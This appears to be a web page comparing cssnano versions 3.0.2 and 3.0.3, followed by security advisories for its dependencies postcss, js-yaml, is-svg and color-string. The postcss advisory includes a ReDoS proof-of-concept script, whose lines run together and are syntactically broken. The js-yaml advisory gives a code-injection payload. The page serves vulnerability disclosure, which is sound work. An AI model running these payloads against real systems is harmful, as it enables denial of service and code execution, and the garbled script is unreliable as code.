Cssnano is a modular minifier built on top of the PostCSS ecosystem, designed to optimize CSS stylesheets by reducing their file size without altering their appearance. Comparing versions 3.0.3 and 3.0.2 reveals nuances beneficial for developers keen on efficient CSS processing. Both versions share a common foundation, utilizing dependencies like PostCSS and a suite of plugins for tasks like autoprefixing, calculating values, optimizing SVG, managing z-index, and manipulating colors. The core functionality of cssnano, such as merging rules and identifiers, discarding empty elements, normalizing URLs, and reducing and converting values remains consistent across both releases.
Notable is the consistency in development dependencies, with tools like Tape, Webpack, Tap-spec, json-loader, and node-libs-browser maintained, indicating a stable testing and bundling environment. Both versions are licensed under MIT, promoting open-source usage.
Specifically, the update from cssnano 3.0.2 to 3.0.3, released on September 18, 2015, a day after its predecessor, signifies a patch or minor enhancement focusing on stability and refinement rather than introducing major features or dependency updates. Developers can expect similar performance and plugin compatibility between the two versions; however, sticking to the latest minor version (3.0.3) will guarantee the latest bug fixes and incremental improvements. Upgrade to leverage any subtle refinements focused on performance or resolve minor edge-case scenarios.
All the vulnerabilities related to the version 3.0.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Denial of Service in js-yaml
Versions of js-yaml prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service.
Upgrade to version 3.13.0.
Code Injection in js-yaml
Versions of js-yaml prior to 3.13.1 are vulnerable to Code Injection. The load() function may execute arbitrary code injected through a malicious YAML file. Objects that have toString as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the load() function. The safeLoad() function is unaffected.
An example payload is
{ toString: !<tag:yaml.org,2002:js/function> 'function (){return Date.now()}' } : 1
which returns the object
{
"1553107949161": 1
}
Upgrade to version 3.13.1.
Regular Expression Denial of Service (ReDoS)
The is-svg package 2.1.0 through 4.2.1 for Node.js uses a regular expression that is vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input.
ReDOS in IS-SVG
A vulnerability was discovered in IS-SVG version 4.3.1 and below where a Regular Expression Denial of Service (ReDOS) occurs if the application is provided and checks a crafted invalid SVG string.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.